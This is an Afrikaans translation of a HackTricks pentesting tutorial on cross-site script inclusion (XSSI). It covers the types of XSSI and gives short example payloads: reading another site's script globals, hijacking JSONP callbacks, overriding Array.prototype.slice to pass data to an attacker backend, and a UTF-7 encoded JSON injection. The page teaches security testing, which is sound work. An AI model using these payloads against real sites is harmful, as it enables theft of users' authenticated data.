hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
2024-02-11 02:07:06 +00:00

7.8 KiB

XSSI (Kruiswebwerfinskripsie)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Kruiswebwerfinskripsie (XSSI) is 'n kwesbaarheid wat voortspruit uit die aard van die script-etiket in HTML. In teenstelling met die meeste hulpbronne, wat onderhewig is aan die Gelyke-Oorsprongbeleid (SOP), kan skripsies ingesluit word vanaf verskillende domeine. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehuisves word, te vergemaklik, maar dit stel ook 'n potensiële veiligheidsrisiko in.

Sleutelkenmerke van XSSI:

  • Oorskryding van SOP: Skripsies is vrygestel van die Gelyke-Oorsprongbeleid, wat hulle in staat stel om oor domeine ingesluit te word.
  • Data-uitlê: 'n Aanvaller kan hierdie gedrag uitbuit om data wat gelaai is via die script-etiket te lees.
  • Impak op Dinamiese JavaScript/JSONP: XSSI is veral relevant vir dinamiese JavaScript of JSON met Opvulling (JSONP). Hierdie tegnologieë gebruik dikwels "omgewingsgesag" -inligting (soos koekies) vir outentisering. Wanneer 'n skripsieversoek na 'n ander gasheer gestuur word, word hierdie geloofsbriewe (bv. koekies) outomaties ingesluit by die versoek.
  • Uitlek van outentiseringsleutels: As 'n aanvaller 'n gebruiker se webblaaier kan mislei om 'n skripsie van 'n bediener wat hulle beheer, aan te vra, kan hulle moontlik toegang verkry tot sensitiewe inligting wat in hierdie versoek ingesluit is.

Tipes

  1. Statische JavaScript - Dit verteenwoordig die konvensionele vorm van XSSI.
  2. Statische JavaScript met outentisering - Hierdie tipe is onderskeibaar omdat dit outentisering vereis om toegang te verkry.
  3. Dinamiese JavaScript - Behels JavaScript wat dinamies inhoud genereer.
  4. Nie-JavaScript - Verwys na kwesbaarhede wat nie direk met JavaScript verband hou nie.

Die volgende inligting is 'n opsomming van https://www.scip.ch/en/?labs.20160414. Kyk daar vir verdere besonderhede.

Gewone XSSI

In hierdie benadering word privaat inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlesing, sleutelwoordsoektogte of regulêre uitdrukkings te gebruik. Sodra dit gevind is, kan die skripsie wat privaat inligting bevat, ingesluit word in skadelike inhoud, wat ongemagtigde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n uitbuitingstegniek word hieronder getoon:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dinamies-gebaseerde-JavaScript-XSSI en Geauthentiseerde-JavaScript-XSSI

Hierdie tipes XSSI-aanvalle behels vertroulike inligting wat dinamies by die skrip gevoeg word as reaksie op 'n gebruiker se versoek. Opstel kan uitgevoer word deur versoek te stuur met en sonder koekies en die antwoorde te vergelyk. As die inligting verskil, kan dit dui op die teenwoordigheid van vertroulike inligting. Hierdie proses kan outomaties gedoen word met behulp van hulpmiddels soos die DetectDynamicJS Burp-uitbreiding.

As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat gebruik word in Gewone XSSI. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie kaap om die inligting te onttrek. Dit kan gedoen word deur óf globale objekte te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Vir veranderlikes wat nie in die globale naamruimte woon nie, kan prototipe-versteuring soms uitgebuit word. Hierdie tegniek maak gebruik van JavaScript se ontwerp, waar kode-interpretasie die prototipeketting deurloop om die geroepte eienskap te vind. Deur sekere funksies, soos Array se slice, te oorskryf, kan aanvallers toegang verkry en nie-globale veranderlikes uitlek:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Verdere besonderhede oor aanvalsvektore kan gevind word in die werk van Sekuriteitsnavorsers Sebastian Lekies, wat 'n lys van vektore onderhou.

Nie-Skripsie-XSSI

Takeshi Terada se navorsing stel 'n ander vorm van XSSI voor, waar Nie-Skripsie-lêers, soos CSV, oor grense heen uitgelek word deur as bronne in 'n script-etiket ingesluit te word. Historiese gevalle van XSSI, soos Jeremiah Grossman se aanval in 2006 om 'n volledige Google-adresboek te lees en Joe Walker se 2007 JSON-datalek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanvalvariant wat UTF-7 gekodeerde JSON betrek om die JSON-formaat te ontsnap en skripte uit te voer, wat effektief is in sekere webblaaier:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: